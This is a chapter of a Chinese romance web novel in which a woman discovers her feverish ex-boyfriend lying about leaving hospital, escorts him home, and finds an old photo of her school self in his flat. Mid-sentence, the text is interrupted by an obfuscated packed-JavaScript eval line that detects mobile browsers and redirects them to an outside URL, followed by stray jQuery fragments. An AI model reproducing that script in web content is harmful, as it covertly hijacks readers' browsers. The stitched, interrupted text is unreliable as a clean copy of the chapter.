10. 发烧

作品:《把前男友弄骨折了怎么办

    中秋后,天气渐渐转凉,有了几分秋高气爽的意味。


    亚罗卡的德文卷毛猫怕冷,总喜欢钻到人的怀里。


    陶织悦正盘坐在地上,手中缠着猫爬架的绳圈。


    卷福把前爪搭在陶织悦膝盖上,后腿一抬就缩进她的怀里。


    卷福的花毛稀疏又短,耳朵大大脸短短,有点像外星来的小猫。


    陶织悦安抚地摸摸它的脑袋,唤来小郑帮卷福穿件衣服。


    再低头时,刚缠好的绳圈又散了一地。


    她叹口气,熟练地绕到猫爬架后面,揪出一只正在捣蛋的小金渐层。


    被揪住后勃颈的小猫细细地叫了几声,扭着小身子在空中挣扎,爪子张开像朵小花。


    欺负下小猫,陶织悦放走它,直起身子舒展肢体。


    今天是裴究出院的日子,但他迟迟没有告诉她几点离开。


    现在已经是下午三点。


    陶织悦和聂乐言知会一声,出门朝医院方向去,一边拨裴究的电话号码。


    电话拨出去,几分钟都没有接通。


    一阵拨号的嘟嘟声中,陶织悦穿过黄叶纷落的街道,距离医院越来越近。


    凉风一吹,成群的“黄蝴蝶”从枝头倾泻而下,化作一场转瞬即逝的金雨。


    她正打算挂断电话,那头终于传来回应。


    “……喂。”声音有点沙哑,还带着刚睡醒的粘腻感。


    “你刚睡醒?”她抬头看天上的太阳,被透过树冠的光迷了下眼。


    根据陶织悦这些天的观察,裴究不像是会一觉睡到下午的人。


    这样的行为可以说是反常。


    “不小心睡着了。”他简短地解释。


    裴究没有过多说,她也不再追问。


    陶织悦话锋一转:“你什么时候出院,我送你?”


    “不用了。”


    “不用了?”陶织悦重复一遍,有点摸不清他打的什么算盘。


    中秋那天不是还巴巴地暗示她来陪他吗?


    陶织悦停住脚步,已经站在医院不远处了。从这里一眼望去,可以看到医院敞亮的玻璃大门。


    “我临时有点事,先离开了。抱歉,下次向你赔罪。”话筒那边的声音说得缓慢,隐约夹着粗喘。


    又一阵风来,街道上的落叶飘下来。


    她发觉手心有些痒,原来是有片小叶子溜进她握着手机的缝隙。


    她把叶子挑出去,手机再贴回耳边,目光不经意地扫过医院大门。


    叶雨中,一个高大的人从医院大门里出来,他穿着极简风的黑色毛衣,肩腰线条被勾勒得笔直利落。只是不知道为什么,步伐有些沉重。


    随着距离的缩减,渐渐看清那人——正是裴究。


    他右手还握着手机,脸颊却呈现出不正常的绯红,眉头也压抑着眼皮。


    喉结上下滚,他用手背抵住嘴,又把右手的手机拿远了点,才克制地咳了两下。


    抿着的唇翕动,声音从她耳畔的手机里传出来:“没事的话,我先挂了。”


    “等一下。”陶织悦打断施法,“你说你已经走了,那你现在在哪?”


    裴究没有犹豫:“公司有急事,在处理工作。”


    他说话时面色不变,像是手上就拿着几叠文件似的。


    陶织悦觉得他一本正经胡说八道的样子有点好笑。


    “那你让姚修接下电话,我有事找他。”


    “他不在……有事跟我说。”


    “那好吧,”陶织悦盯着远处那人,“我今天早上算了个卦,和你有关。”


    男人缓慢转了几下眼睛,显然有些反应不过来。


    “然后呢?”他有些不解,但还是配合着问。


    “卦象说,今天你的幸运方向是南边。”


    裴究的步伐停住,侧头朝陶织悦的方向看来,在看清她的时候,表情也呆滞了一秒。


    他难得撒一次慌,不料被抓了个正着。


    陶织悦挂掉电话,朝他走过去:“在公司?”


    地上的落叶堆被她踩得嘎吱响,像一条专门连接两人的小路。


    眼见没法再狡辩,裴究只能认栽。


    她伸出手去探他额间,被他往后一躲。


    这样的举动可以说是此地无银三百两了。


    “发烧了,所以躲着我?”陶织悦说着,一边把手掌结结实实地按在他额头上。


    果然很烫。


    掌下的温度灼灼,触感是硬朗中带着柔软的。


    五官再锋利的男人,脸摸起来也是软的。陶织悦无端想到这句话。


    裴究垂着的睫毛离她的指间只有几厘米的距离,乖顺地搭着。


    陶织悦想起他前几天发了狂一样的工作强度,脸色也带上了点阴沉。


    “你又通宵了?”


    “没有。”他回答得很快,眼神却因为发烧有些迷离。


    “回家,休息。”陶织悦语气认真,下达指示。


    “本来也是要回去。”裴究不甘示弱地补上一句。


    话音刚落,一辆黑色轿车在他们身边慢慢停下,发动机还没有熄,发出轰轰声。


    车窗降下来,驾驶座的姚修探出头来:“裴总,我来接您回公司……”


    最后一个“si”只来得及发出一个气音,就被咽下去了。


    气氛不对。


    姚修默默坐回,又把车窗升上去。


    陶织悦皮笑肉不笑:“回公司?”


    裴究:……


    为了防止裴究过劳死,她决定亲自把人押送回家。


    姚修透过后视镜看着两人一前一后坐上后座,手在方向盘上扒拉几下。


    待两人坐稳,他开口问:“咱们去……?”


    陶织悦没说话,转头盯着裴究,把话语节点抛给他。


    被目光钉住的裴究轻叹:“回家。”


    姚修如获大赦,当即踩下油门。他转几下方向盘,又抽出只手来按了下身旁的按钮。


    一道隔板徐徐升起,很快为后座两人隔出一个私密空间。


    这个空间比病房要小的多,简直是连呼吸的空气都交融在一起。


    “他还……挺贴心的。”陶织悦憋出一句。


    裴究不紧不慢接上一句:“没有你贴心。”


    陶织悦冷哼:“我怕你刚出医院又马上住回去,你直接办年卡算了。”


    手边碰到一张叠得整齐的毛毯,黑色的,带点绒毛。她抓起来往身边一递。


    男人抬手抓住另一端,却被一道力牵制住,接不下来。


    陶织悦挺起胸膛:“说谢谢了吗?”


    裴究眼角略牵出一点笑意,又很快隐去。


    “谢谢。”


    听到这句,陶织悦也见好就收,松开手。


    男人把毯子展开,简单地盖在身上。


    “就知道欺负我。”


    这句话很轻,像蜻蜓点水般轻触一下,等旁人想要去确认时,只能望见一池流动的春水。


    陶织悦不确定自己是不是真的听到了这么一句,她盯着裴究的表情,没看出任何破绽,好像只是她的幻听。


    那毯子在他身上显得可怜,只堪堪盖住半边。他实在撑不住了,力竭地后仰着,将身体全然交给靠背,眼皮紧阖。


    不用想也知道很不好受。


    陶织悦克制自己不去看他,却止不住思绪纷乱。


    按照姚修


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180496|180936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说,他对自己下起狠手没轻没重的。


    这次想必是事业上碰到什么重要的节点。


    她有些自嘲地笑了。


    他总是这样一意孤行,从来不顾别人的意愿。


    现在也是,当年也是。


    常计较过去的事有几分刻舟求剑的局促,她试着不去回忆。


    身旁的人咳了两声,又紧皱着眉偏了偏头,呼吸沉重。


    活该,烧死你。


    陶织悦发起小脾气,暗自腹诽。


    车身缓缓停下,她朝外看了一眼。


    等一下。


    等一下。


    这不是她住的小区吗?


    陶织悦拍拍他的肩。


    那对长睫抖动,艰难地睁开。他的声音烧得暗哑:“到了?”


    陶织悦索性扶住他的手臂,让他借力起身。


    站在熟悉的地砖上,陶织悦更加确定了:这就是她住的小区。


    “你住这?”她有点不可置信地问。


    “要不要把合同拿出来给你看看?”裴究往前走了几步,身形有些不稳。


    陶织悦问了他住哪栋楼,离她那栋楼倒也不太远。


    只是他也住在这个小区,有点太巧了。


    可惜现在不是开口的时机,她怕问得太多给人烧坏了。倒在半路上的话,他那么大一只——陶织悦比划了一下,恐怕是拖不回去的。


    同一个小区的楼构造都差不多,尽管有点跌跌撞撞,陶织悦也顺利地带着这个病患上了四楼。


    多亏了她拍片时上山下水的锻炼,让她有了超出肉眼体型的力气,扛点重物尚在可控范围内。


    密码锁屏倒映出两人贴在一起的身影。裴究的热源源不断地沾上她,让她出了点薄汗。


    “密码。”她轻轻肘了一下那人。


    “咳……生日。”


    陶织悦快速输了几位数字进去。


    密码锁发出尖锐的报错声。


    不应该啊。她不至于把裴究的生日记错。她不信邪地又输一遍。密码锁再次报错,在楼道里响荡。


    “笨蛋。”裴究抬起手,目光在密码锁上聚焦一下,很慢地点。


    陶织悦盯着他的慢动作,手指点得郑重,按出来几个数字:她的生日。


    原来生日是她的生日。


    陶织悦噎住,心上随着门咔哒一声开而被敲了一下。


    厚重的门向外旋,一股熟悉的香味也钻进了鼻腔,微微苦涩。


    陶织悦眨眨眼,脑子里有个若隐若现的答案露出尾巴,却始终抓不住。


    裴究的房间装修得很低调,透着内敛的奢侈感。深色的古典印花地毯铺在木地板上,奠定了整个房间厚重的基调。


    陶织悦把他暂时安置在沙发上,转身去找药箱。


    屋内的生活痕迹不重,物品少而空,看起来刚搬进来不久,也住得不多。


    照理来说,不常用的东西应该在柜架上吧。


    她在柜架翻了半天,没找到退烧药,抬头看见一个突兀的相框。


    相框很小但很精致,奇怪的点在于很少人会把这么小的照片裱起来珍藏。


    陶织悦伸手去取那个相框,略有点沉。


    看清照片的那一刻,她凝固在原地。


    照片已经泛黄褪色,边缘由于磨损而卷翘破损,但被主人细心地熨平。


    上面的小人穿着校服,没有意识到自己已经被镜头捕捉,只是望着跑道上竞速的学生出神。那张清晰稚嫩的脸,正是少女时代的她。


    这就是姚修认识她的那张照片?


    陶织悦回想着过往,判断出来这是高一的运动会。


    裴究注意到她,远比她想象得还要早。